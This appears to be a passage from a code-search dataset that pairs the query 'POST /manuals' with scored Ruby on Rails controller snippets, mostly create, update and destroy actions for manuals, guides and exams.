"2b31b8ea95895fe618445791f766ecad", "score": "0.78492916", "text": "def to_s\n end", "title": "" }, { "docid": "2b31b8ea95895fe618445791f766ecad", "score": "0.78492916", "text": "def to_s\n end", "title": "" }, { "docid": "2b31b8ea95895fe618445791f766ecad", "score": "0.78492916", "text": "def to_s\n end", "title": "" }, { "docid": "2b31b8ea95895fe618445791f766ecad", "score": "0.78492916", "text": "def to_s\n end", "title": "" } ]
df396b2458d62b5db5a2c515bf19bec9
POST /manuals POST /manuals.json
[ { "docid": "b462d41f1f26882cd639c7bb2f9ac92d", "score": "0.6545477", "text": "def create\n @manual = Manual.new(params[:manual])\n if @manual.save\n flash[:notice] = \"Your manual has been created.\"\n redirect_to @manual\n else\n flash[:alert] = 'Your manual has not been created.'\n render :action => \"new\" \n end\n end", "title": "" } ]
[ { "docid": "59881a44b252d831c7c6db140c9fd1d4", "score": "0.7567606", "text": "def create\n @manual = Manual.new(manual_params)\n\n if @manual.save\n render json: @manual, status: :created, location: @manual\n else\n render json: @manual.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "935ee6cecbb523c87963dde4ff4e7fd3", "score": "0.753126", "text": "def create\n @manual = Manual.new(manual_params)\n\n respond_to do |format|\n if @manual.save\n format.html { redirect_to manuals_path, notice: 'Manual was successfully created.' }\n format.json { render :show, status: :created, location: manuals_path }\n else\n format.html { render :new }\n format.json { render json: @manual.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "41c3a08783a714b346175b692300e2d1", "score": "0.7126944", "text": "def create\n @manual = Manual.new(manual_params)\n @manual.user = current_user\n\n respond_to do |format|\n if @manual.save\n format.html { redirect_to edit_manual_path(@manual), notice: 'Manual was successfully created.' }\n format.json { render :show, status: :created, location: @manual }\n else\n format.html { redirect_to new_manual_path, :flash => { :error => @manual.errors.full_messages.join(', ') } }\n format.json { render json: @manual.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2d3f25c2ddb2ba0e8d7a670bfb9ee5d1", "score": "0.66404396", "text": "def create\n @usermanual = Usermanual.new(usermanual_params)\n @usermanual.user = current_user\n\n respond_to do |format|\n if @usermanual.save\n format.html { redirect_to @usermanual, notice: 'Usermanual was successfully created.' }\n format.json { render :show, status: :created, location: @usermanual }\n else\n format.html { render :new }\n format.json { render json: @usermanual.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9ef36c8464bb222f22302de749ce4514", "score": "0.6606494", "text": "def new\n @manual = Manual.new\n 3.times do\n section = @manual.sections.build\n 2.times do\n section.steps.build\n end\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @manual }\n end\n end", "title": "" }, { "docid": "fd9d6c9f0f2dcbd7c2f154a6494c9849", "score": "0.6541881", "text": "def set_manual\n @manual = Manual.find(params[:id])\n end", "title": "" }, { "docid": "4d87c9064c1097cea80d18892006f367", "score": "0.65015197", "text": "def index\n @manuals = Manual.all\n\n render json: @manuals\n end", "title": "" }, { "docid": "5bd18513f7a96ea23d75e124f5fcdf16", "score": "0.64828855", "text": "def manual_params\n params.require(:manual).permit(:name, :author, :file, :comments)\n end", "title": "" }, { "docid": "07177a31ee79fa5591417e56b2915a46", "score": "0.63506454", "text": "def new\n @manual = Manual.new\n 1.times {@manual.steps.build}\n 1.times {@manual.materials.build}\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @manual }\n end\n end", "title": "" }, { "docid": "c789e29e4123fa31d606068d65c7808b", "score": "0.62418747", "text": "def index\n @manuals = Manual.all\n end", "title": "" }, { "docid": "be5cc4af706775e5afc60297d238e906", "score": "0.6188685", "text": "def create\n @manual = Manual.new(params[:manual])\n @manual.user_id = current_user.id\n \n \n respond_to do |format|\n if @manual.save\n #format.html { redirect_to @manual, notice: 'Manual was successfully created.' }\n #format.json { render json: @manual, status: :created, location: @manual }\n format.js\n else\n #format.html { render action: \"new\" }\n #format.json { render json: @manual.errors, status: :unprocessable_entity }\n format.js\n end\n end\n \n end", "title": "" }, { "docid": "4e71f122b84e0838392e32b3475b273f", "score": "0.6071308", "text": "def create\n @equipment_manual = EquipmentManual.new(equipment_manual_params)\n\n respond_to do |format|\n if @equipment_manual.save\n format.html { redirect_to @equipment_manual, notice: 'Equipment manual was successfully created.' }\n format.json { render action: 'show', status: :created, location: @equipment_manual }\n else\n format.html { render action: 'new' }\n format.json { render json: @equipment_manual.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1e207694b41e11aa60db9046c40804b5", "score": "0.59240246", "text": "def update\n @manual = Manual.find(params[:id])\n\n if @manual.update(manual_params)\n head :no_content\n else\n render json: @manual.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "0ddbe05243f9261445893fdc74949db4", "score": "0.5902332", "text": "def create\n\tneed_edit!\n\t@manual = Manual.find(params[:manual_id])\n @chapter = @manual.chapters.new(params[:chapter])\n\n respond_to do |format|\n if @chapter.save\n format.html { redirect_to @manual, :notice => 'Chapter was successfully created.' }\n format.json { render :json => @chapter, :status => :created, :location => @chapter }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @chapter.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d7c138952cd811d6d85d7d9cfa02dd9e", "score": "0.57705206", "text": "def usermanual_params\n params.require(:usermanual).permit(:document_name, :document_type, :user_id)\n end", "title": "" }, { "docid": "4b97101d7c5e0db4825f29eb2a23b6bd", "score": "0.57060045", "text": "def destroy\n @manual.destroy\n respond_to do |format|\n format.html { redirect_to manuals_url, notice: 'Manual was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b5cd9c6e37da8dd9f0c4e6ef401390f0", "score": "0.5660869", "text": "def destroy\n @manual = Manual.find(params[:id])\n @manual.destroy\n\n respond_to do |format|\n format.html { redirect_to manuals_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b5cd9c6e37da8dd9f0c4e6ef401390f0", "score": "0.5660869", "text": "def destroy\n @manual = Manual.find(params[:id])\n @manual.destroy\n\n respond_to do |format|\n format.html { redirect_to manuals_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ed292a67a798cd1242538a9c8a130339", "score": "0.56572866", "text": "def destroy\n @manual.destroy\n respond_to do |format|\n format.html { redirect_to manuals_url, notice: 'Manual was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "931d9893aec7e60c231aa0aa6d44b02d", "score": "0.5615413", "text": "def create\n @manual_laboratory = Manual::Laboratory.new(params[:manual_laboratory])\n \n @manual_laboratory.subject = @manual_subject\n \n respond_to do |format|\n if @manual_laboratory.save\n format.html { redirect_to manual_subject_laboratories_path, notice: 'Laboratory was successfully created.' }\n format.json { render json: @manual_laboratory, status: :created, location: @manual_laboratory }\n else\n format.html { render action: \"new\" }\n format.json { render json: @manual_laboratory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a996fe3071c97c2acbe5f8dd22fc0e38", "score": "0.5614664", "text": "def create_manual\n @manual_payment = ManualPayment.new(params[:manual_payment])\n @manual_payment.price = @manual_payment.order.price\n\n if @manual_payment.save\n SmidigMailer.manual_payment_created_confirmation(@manual_payment).deliver\n SmidigMailer.manual_payment_created_notification(@manual_payment, payments_manual_url).deliver\n redirect_to :action=> :manual_completed, :id=> @manual_payment.id\n else\n render action: \"new_manual\"\n end\n end", "title": "" }, { "docid": "396dec25286080f1dbb452a5d2a6e2cb", "score": "0.5595752", "text": "def show\n @manual = Manual.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @manual }\n end\n end", "title": "" }, { "docid": "77ce63ac7c57d78181f605ce8bcf0288", "score": "0.55838406", "text": "def save_consumer_manuals\n manual = ConsumerManual.where(:consumer_id => params[:user_id], :manual_id => params[:manual_id])\n @con_manual = ConsumerManual.create(:user_id => params[:user_id], :consumer_id => params[:user_id], \n :manual_id => params[:manual_id] )\n \tif @con_manual.create\n render :json=> {:success => true}, :status=>200\n else\n render :json=> {:success => false}, :status=>204\n end\n end", "title": "" }, { "docid": "2166b4504c6fac2359a52250bbb42d61", "score": "0.5582785", "text": "def show\n @manual = Manual.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @manual }\n end\n end", "title": "" }, { "docid": "319d0f241d46f0462c7a821e8dd801f3", "score": "0.5564648", "text": "def new\n @dataload_manual = current_user.dataload_manuals.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dataload_manual }\n end\n end", "title": "" }, { "docid": "7bb9472eb0112f5e6676ca5c671b5fca", "score": "0.55448955", "text": "def update\n @manual = Manual.find(params[:id])\n\n respond_to do |format|\n if @manual.update_attributes(params[:manual])\n format.html { redirect_to @manual, notice: 'Manual was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @manual.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7bb9472eb0112f5e6676ca5c671b5fca", "score": "0.55448955", "text": "def update\n @manual = Manual.find(params[:id])\n\n respond_to do |format|\n if @manual.update_attributes(params[:manual])\n format.html { redirect_to @manual, notice: 'Manual was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @manual.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "365e678a263a808a9078130111982b37", "score": "0.5534777", "text": "def set_usermanual\n @usermanual = Usermanual.find(params[:id])\n end", "title": "" }, { "docid": "a313d3cf8d8013cfaed88d3cc12acc1b", "score": "0.5520402", "text": "def index\n @usermanuals = Usermanual.all\n end", "title": "" }, { "docid": "ccc1d07c0e11c829cd97e67f502fc620", "score": "0.55178005", "text": "def create\n @dataload_manual = current_user.dataload_manuals.build(params[:dataload_manual])\n\n respond_to do |format|\n if @dataload_manual.save\n @dataload_manual.perform_import\n format.html { redirect_to @dataload_manual, notice: 'Dataload manual was successfully created.' }\n format.json { render json: @dataload_manual, status: :created, location: @dataload_manual }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dataload_manual.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e267a263ede1c578e4d4972f456f77bc", "score": "0.5489851", "text": "def index\n respond_to do |format|\n format.html\n format.js\n format.json { render json: @manuals }\n end\n end", "title": "" }, { "docid": "078b7d84ea52f188a47a939225b2ad3b", "score": "0.5470373", "text": "def show\n render json: @manual\n end", "title": "" }, { "docid": "0f7030d2be8209f376feeb9115abc876", "score": "0.5407042", "text": "def create_manual_journals(xero_tenant_id, manual_journals, opts = {})\n data, _status_code, _headers = create_manual_journals_with_http_info(xero_tenant_id, manual_journals, opts)\n data\n end", "title": "" }, { "docid": "e2c9c7b20763c61c69ae1c284a639b62", "score": "0.5363058", "text": "def create\n @automatic_thought = AutomaticThought.new(automatic_thought_params)\n respond_to do |format|\n if @automatic_thought.save\n format.html { redirect_to @automatic_thought, notice: 'Automatic thought was successfully created.' }\n format.json { render :show, status: :created, location: @automatic_thought }\n else\n format.html { render :new }\n format.json { render json: @automatic_thought.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9e9a49ea5e8edb100e71b3369130f707", "score": "0.53519166", "text": "def create\n @guide = Guide.new(params[:guide])\n\n respond_to do |format|\n if @guide.save\n format.html { redirect_to @guide, notice: \"\\\"#{@guide.title}\\\" was successfully created.\" }\n format.json { render json: @guide, status: :created, location: @guide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @guide.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "57210ca76f6125c7a832a381029a1f51", "score": "0.53351647", "text": "def create\n @target_exam = TargetExam.new(target_exam_params)\n\n respond_to do |format|\n if @target_exam.save\n format.html { redirect_to @target_exam, notice: 'Target exam was successfully created.' }\n format.json { render :show, status: :created, location: @target_exam }\n else\n format.html { render :new }\n format.json { render json: @target_exam.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "03bfd31408cb3a87302cfad30bbd9c17", "score": "0.5327987", "text": "def create\n guide = current_user.guides.find params[:guide_id]\n step = Step.new(step_params) do |step|\n step.guide = guide\n end\n\n if step.save\n render status: :created, json: step, serializer: StepSerializer\n else\n render status: :bad_request, json: {}\n end\n end", "title": "" }, { "docid": "42533013ed69b0b16dc49c45dd86a45d", "score": "0.5326779", "text": "def manual\n if request.get?\n prepare_data_for_new_tip\n @tip = current_tipster.tips.new\n @manual_match = ManualMatch.new\n else\n tip_params = manual_tip_params\n @manual_match = ManualMatch.new(tip_params.delete(:manual_match))\n @tip = Tip.create_with_manual_match(current_tipster, @manual_match, tip_params)\n if @tip.persisted?\n redirect_to backoffice_my_tips_url, notice: I18n.t('tip.created_successfully')\n else\n prepare_data_for_new_tip\n end\n end\n end", "title": "" }, { "docid": "d97be13651c7647857c923dc5267befa", "score": "0.5296685", "text": "def create\n params[:words].each do |word|\n dbword = Word.new(:word => word)\n dbword.save\n end\n \n respond_to do |format|\n format.json { head :created }\n end\n end", "title": "" }, { "docid": "50e6ec7b15783098fd003bc9bd78c191", "score": "0.5289909", "text": "def create\n @guide = Guide.new(guide_params)\n\n respond_to do |format|\n if @guide.save\n format.html { redirect_to @guide, notice: 'Guide was successfully created.' }\n format.json { render :show, status: :created, location: @guide }\n else\n format.html { render :new }\n format.json { render json: @guide.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3bde6a3a7215c00a66a17d0aafae6c99", "score": "0.52840364", "text": "def create\n @user = User.new(user_params.merge(manual: true))\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_path, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: errors_with_dup, status: :unprocessable_entity \n }\n end\n end\n end", "title": "" }, { "docid": "8ae202c0570e27a18c6dfb09eb54aebc", "score": "0.5282928", "text": "def create\n @detail_guide = DetailGuide.new(detail_guide_params)\n\n respond_to do |format|\n if @detail_guide.save\n format.html { redirect_to @detail_guide, notice: 'Detail guide was successfully created.' }\n format.json { render :show, status: :created, location: @detail_guide }\n else\n format.html { render :new }\n format.json { render json: @detail_guide.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "92008bad042579793da1bda239d95223", "score": "0.52689123", "text": "def create\n api.post('', nil, 'application/json')\n end", "title": "" }, { "docid": "77e1af24f642ee736851a822f2d19a54", "score": "0.52636343", "text": "def index\n\t@manual = Manual.find(params[:manual_id])\n @chapters = @manual.chapters.all\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render :json => @chapters }\n end\n end", "title": "" }, { "docid": "8a08b59918d01861c40ac985aff46578", "score": "0.5242309", "text": "def create\n @manual_variant = Manual::Variant.new(params[:manual_variant])\n @manual_variant.laboratory = @manual_laboratory\n \n respond_to do |format|\n if @manual_variant.save\n format.html { redirect_to manual_subject_laboratory_variants_path, notice: 'Variant was successfully created.' }\n format.json { render json: @manual_variant, status: :created, location: @manual_variant }\n else\n format.html { render action: \"new\" }\n format.json { render json: @manual_variant.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e20b99be324283040704a69fe254e715", "score": "0.52332383", "text": "def new\n\t@manual = Manual.find(params[:manual_id])\n @chapter = @manual.chapters.new\n\[email protected]_no = @manual.chapters.count + 1\n\n respond_to do |format|\n format.html # new.html.haml\n format.json { render :json => @chapter }\n end\n end", "title": "" }, { "docid": "e1e44822152cf57c8ec1d579b10e07e6", "score": "0.5226018", "text": "def new\n @manual_laboratory = Manual::Laboratory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @manual_laboratory }\n end\n end", "title": "" }, { "docid": "c792335faafa824dcc949f36701fbe4b", "score": "0.5224985", "text": "def create\n puts guide_params\n @guide = current_user.created_guides.new(guide_params)\n\n\n respond_to do |format|\n if @guide.save\n format.json { render :show, status: :created, location: @guide }\n format.html { redirect_to @guide, notice: 'Guide was successfully created.' }\n else\n format.html { render :new }\n format.json { render json: @guide.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "effdc432d72fa70d0b47112ad344067e", "score": "0.5222732", "text": "def create\n @docset = Docset.new(docset_params)\n\n respond_to do |format|\n if @docset.save\n format.html { redirect_to @docset, notice: 'Docset was successfully created.' }\n format.json { render :show, status: :created, location: @docset }\n else\n format.html { render :new }\n format.json { render json: @docset.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "74dc66a58eb7d0d9f52cff4bb2cdeb4e", "score": "0.5219359", "text": "def post(options)\n wesabe.post(options)\n end", "title": "" }, { "docid": "1b15bb1a2a66c7b5a575e15673a50daa", "score": "0.5213958", "text": "def create\n\n @wizard = Wizard.new(\n name: params[:wizard][:name],\n description: params[:wizard][:description],\n specification: params[:wizard][:specification].to_json\n )\n\n respond_to do |format|\n if @wizard.save\n format.html { redirect_to @wizard, notice: 'Wizard was successfully created.' }\n format.json { render json: @wizard, status: :created, location: @wizard }\n else\n format.html { render action: 'new' }\n format.json { render json: @wizard.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b493ef60fa8c5098b730bd0383412e35", "score": "0.5206594", "text": "def create\n @exams = Exam.new(exam_params)\n laboratorys = params[:laboratory_id]\n\n if @exams.save\n laboratorys.each do |laboratory|\n LaboratoryExam.create(laboratory_id: laboratory, exam_id: @exams.id)\n end\n @exams\n else\n render json: @exams.errors.full_messages.join(''), status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "2b66927c4de94741615dee91323a5fc6", "score": "0.52061254", "text": "def create\n @guide = Guide.new(params[:guide])\n @guide.user = current_user\n @guide.published_at = Time.now if params[:publish]\n\n respond_to do |format|\n if @guide.save\n create_default_guide_taxa\n format.html { redirect_to edit_guide_path(@guide), notice: t(:guide_was_successfully_created) }\n format.json { render json: @guide.as_json(:root => true), status: :created, location: @guide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @guide.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c97fbfeebd0bdbb91c57d27bca6beda2", "score": "0.5194882", "text": "def __init_manual_data(data)\n @manual_data = Loki::Manual.new(data, self)\n end", "title": "" }, { "docid": "28c0fc989250f6b3c7faefa3d276d902", "score": "0.51750666", "text": "def create\n @exam = Exam.new(exam_params)\n set_question_papers\n\n respond_to do |format|\n if @exam.save\n format.html { redirect_to exams_url, notice: 'Exam was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end", "title": "" }, { "docid": "59062df6138aba3a3aaff6e6af6d694d", "score": "0.5168919", "text": "def index\n @equipment_manuals = EquipmentManual.all\n end", "title": "" }, { "docid": "194e9147ea2da88f7e8c0ba2626e4652", "score": "0.51493216", "text": "def create\n @store_manager_indices_guide = Store::Manager::Indices::Guide.new(params[:store_manager_indices_guide])\n\n respond_to do |format|\n if @store_manager_indices_guide.save\n format.html { redirect_to @store_manager_indices_guide, notice: 'Guide was successfully created.' }\n format.json { render json: @store_manager_indices_guide, status: :created, location: @store_manager_indices_guide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @store_manager_indices_guide.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "436a192c6bc1cd62df8bcd126c7c1ee3", "score": "0.5141329", "text": "def create\n @learnable = Learnable.new(learnable_params)\n\n respond_to do |format|\n if @learnable.save\n format.html { redirect_to @learnable, notice: 'Learnable was successfully created.' }\n format.json { render :show, status: :created, location: @learnable }\n else\n format.html { render :new }\n format.json { render json: @learnable.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "436a192c6bc1cd62df8bcd126c7c1ee3", "score": "0.5141329", "text": "def create\n @learnable = Learnable.new(learnable_params)\n\n respond_to do |format|\n if @learnable.save\n format.html { redirect_to @learnable, notice: 'Learnable was successfully created.' }\n format.json { render :show, status: :created, location: @learnable }\n else\n format.html { render :new }\n format.json { render json: @learnable.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eb130cca3c62128150e788b79ef66a3a", "score": "0.5120981", "text": "def create\n @auto_responder = AutoResponder.new(auto_responder_params)\n\n respond_to do |format|\n if @auto_responder.save\n format.html { redirect_to @auto_responder, notice: 'Auto responder was successfully created.' }\n format.json { render :show, status: :created, location: @auto_responder }\n else\n format.html { render :new }\n format.json { render json: @auto_responder.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25d9b4baf19322dfaada1cca12cb125a", "score": "0.51125175", "text": "def create\n @setup = Setup.new(setup_params)\n\n respond_to do |format|\n if @setup.save\n format.html { redirect_to @setup, notice: 'Setup was successfully created.' }\n format.json { render :show, status: :created, location: @setup }\n else\n format.html { render :new }\n format.json { render json: @setup.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6414ef383f00ef8b8fc33ed68133eee8", "score": "0.51074165", "text": "def create\n @tutorial = @framework.tutorials.build(tutorial_params)\n\n if @tutorial.save\n render :show, status: :created\n else\n render json: @tutorial.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "dd4e6a99f4764617213c0d8b8b898a64", "score": "0.5078558", "text": "def create\n @technique = Technique.new(technique_params)\n\n if @technique.save\n render json: @technique, status: :created, location: @technique\n else\n render json: @technique.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "05cef46d536677125647c3c6efb77c4e", "score": "0.50737184", "text": "def create\n @guide = Guide.new\n @guide.uploaded_file = params[:guide][:pdf]\n @guide.name = params[:guide][:name]\n @guide.event_id = params[:guide][:event_id]\n respond_to do |format|\n if @guide.save\n format.html { redirect_to @guide, notice: 'Guide was successfully created.' }\n format.json { render json: @guide, status: :created, location: @guide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @guide.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b5c842cb219ae0f4582d5b2179c098fb", "score": "0.5072714", "text": "def create\n @grade = Grade.find(params[:grade_id])\n @exam = @grade.exams.build\n @exam.discription = params[:exam][:discription]\n @exam.exam_date = params[:exam][:exam_date]\n @exam.exam_name = params[:exam][:exam_name]\n\n respond_to do |format|\n if @exam.save\n if params[:subjects] != nil\n params[:subjects].each do |subject|\n @es = ExamsSubjects.new()\n @es.exam_id = @exam.id\n @es.subject_id = subject\n if @es.save\n end\n end\n end\n format.html { redirect_to setpaper_path(@exam), notice: 'Congratulations! you could assign exam for this grade. ' }\n\n else\n format.html { render action: \"new\" }\n format.json { render json: @exam.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "74e9c57ab4aa1500bfdf9ef9bbf04cb3", "score": "0.50680584", "text": "def create\n @exam = Exam.new(params[:exam])\n\n respond_to do |format|\n if @exam.save\n format.html { redirect_to @exam, notice: 'Exam was successfully created.' }\n format.json { render json: @exam, status: :created, location: @exam }\n else\n format.html { render action: \"new\" }\n format.json { render json: @exam.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "74e9c57ab4aa1500bfdf9ef9bbf04cb3", "score": "0.50680584", "text": "def create\n @exam = Exam.new(params[:exam])\n\n respond_to do |format|\n if @exam.save\n format.html { redirect_to @exam, notice: 'Exam was successfully created.' }\n format.json { render json: @exam, status: :created, location: @exam }\n else\n format.html { render action: \"new\" }\n format.json { render json: @exam.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7913a418101d25c896937d716812e621", "score": "0.5067739", "text": "def create\n @lesson = Lesson.new(lesson_params)\n\n if @lesson.save\n render json: @lesson, serializer: LessonSerializer\n else\n render json: { error: t('story_create_error') }, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "c73f95eb271f2c01ef9c3d0e12d021fb", "score": "0.5064625", "text": "def create\n @examn = Examn.new(examn_params)\n\n respond_to do |format|\n if @examn.save\n format.html { redirect_to @examn, notice: 'Examn was successfully created.' }\n format.json { render :show, status: :created, location: @examn }\n else\n format.html { render :new }\n format.json { render json: @examn.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "42f50cc2015d093990eee612ff617240", "score": "0.5061755", "text": "def create\n @title = t('view.advances.new_title')\n @advance = Advance.new(params[:advance])\n\n respond_to do |format|\n if @advance.save\n format.html { redirect_to @advance, notice: t('view.advances.correctly_created') }\n format.json { render json: @advance, status: :created, location: @advance }\n else\n format.html { render action: 'new' }\n format.json { render json: @advance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2d2bc4282f319c7447d77497e3114592", "score": "0.505236", "text": "def create\n @exam = Exam.new(exam_params)\n\n respond_to do |format|\n if @exam.save\n format.html { redirect_to subject_exam_path(@exam.subject, @exam), notice: 'Exam was successfully created.' }\n format.json { render :show, status: :created, location: @exam }\n else\n format.html { render :new }\n format.json { render json: @exam.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0f232e93ae2f5291860eb05d013cbeb5", "score": "0.5046655", "text": "def create\n @automated_test = AutomatedTest.new(automated_test_params)\n\n respond_to do |format|\n if @automated_test.save\n format.html { redirect_to @automated_test, notice: 'Automated test was successfully created.' }\n format.json { render :show, status: :created, location: @automated_test }\n else\n format.html { render :new }\n format.json { render json: @automated_test.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0f232e93ae2f5291860eb05d013cbeb5", "score": "0.5046655", "text": "def create\n @automated_test = AutomatedTest.new(automated_test_params)\n\n respond_to do |format|\n if @automated_test.save\n format.html { redirect_to @automated_test, notice: 'Automated test was successfully created.' }\n format.json { render :show, status: :created, location: @automated_test }\n else\n format.html { render :new }\n format.json { render json: @automated_test.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1677f8723544f62f66f2d2196a2a4155", "score": "0.50458604", "text": "def create\n @agreement = @target.agreements.new(agreement_params)\n @agreement.save\n respond_with(@target,@agreement)\n end", "title": "" }, { "docid": "527f4b6bb57c846cb735d90330e06683", "score": "0.5044075", "text": "def create\n @exam = Exam.new(exam_params)\n\n respond_to do |format|\n if @exam.save\n format.html { redirect_to @exam, notice: 'Exam was successfully created.' }\n format.json { render :show, status: :created, location: @exam }\n else\n format.html { render :new }\n format.json { render json: @exam.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "527f4b6bb57c846cb735d90330e06683", "score": "0.5044075", "text": "def create\n @exam = Exam.new(exam_params)\n\n respond_to do |format|\n if @exam.save\n format.html { redirect_to @exam, notice: 'Exam was successfully created.' }\n format.json { render :show, status: :created, location: @exam }\n else\n format.html { render :new }\n format.json { render json: @exam.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "527f4b6bb57c846cb735d90330e06683", "score": "0.5044075", "text": "def create\n @exam = Exam.new(exam_params)\n\n respond_to do |format|\n if @exam.save\n format.html { redirect_to @exam, notice: 'Exam was successfully created.' }\n format.json { render :show, status: :created, location: @exam }\n else\n format.html { render :new }\n format.json { render json: @exam.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "527f4b6bb57c846cb735d90330e06683", "score": "0.5044075", "text": "def create\n @exam = Exam.new(exam_params)\n\n respond_to do |format|\n if @exam.save\n format.html { redirect_to @exam, notice: 'Exam was successfully created.' }\n format.json { render :show, status: :created, location: @exam }\n else\n format.html { render :new }\n format.json { render json: @exam.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3f66c3306dc67da7ba2535c6965eddf6", "score": "0.5037878", "text": "def destroy\n @usermanual.destroy\n respond_to do |format|\n format.html { redirect_to usermanuals_url, notice: 'Usermanual was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "573d95d2026cc3ea3ed27df0aca6c9bc", "score": "0.5026255", "text": "def create\n @automaton = Automaton.new(params[:automaton])\n\n respond_to do |format|\n if @automaton.save\n format.html { redirect_to @automaton, notice: 'Automaton was successfully created.' }\n format.json { render json: @automaton, status: :created, location: @automaton }\n else\n format.html { render action: \"new\" }\n format.json { render json: @automaton.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fe02b76fa4151d86b14bbdfb745cf562", "score": "0.5022879", "text": "def index\n @guides = Guide.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @guides }\n end\n end", "title": "" }, { "docid": "39c3b08bce805c2a22281106278d77d0", "score": "0.5020686", "text": "def create\n @sphinx = Sphinx.new(params[:sphinx])\n\n respond_to do |format|\n if @sphinx.save\n format.html { redirect_to @sphinx, notice: 'Sphinx was successfully created.' }\n format.json { render json: @sphinx, status: :created, location: @sphinx }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sphinx.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "28be521d7bb9a9c8a7aa9233dfe44c59", "score": "0.50170046", "text": "def create\n @guide_categories = GuideCategory.all\n @guide = Guide.new(guide_params)\n @guide.user = current_user\n\n respond_to do |format|\n if @guide.save\n format.html { redirect_to post_path(@guide), notice: 'Guide was successfully created.' }\n format.json { render action: 'show', status: :created, location: @guide }\n else\n format.html { render action: 'new' }\n format.json { render json: @guide.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "88cfebc9cc364949b870f17eee1271e4", "score": "0.5011861", "text": "def exam_params\n params.require(:exam).permit(:title, :description, :establishment_name, :exam_date, :appointment_id,\n documents: [])\n end", "title": "" }, { "docid": "28a391febdd55251d57af93d7ab84119", "score": "0.50115305", "text": "def create\n @tour_guide = TourGuide.new(tour_guide_params)\n\n respond_to do |format|\n if @tour_guide.save\n format.html { redirect_to @tour_guide, notice: 'Tour guide was successfully created.' }\n format.json { render :show, status: :created, location: @tour_guide }\n else\n format.html { render :new }\n format.json { render json: @tour_guide.errors, status: :unprocessable_entity }\n end\n end\n end", 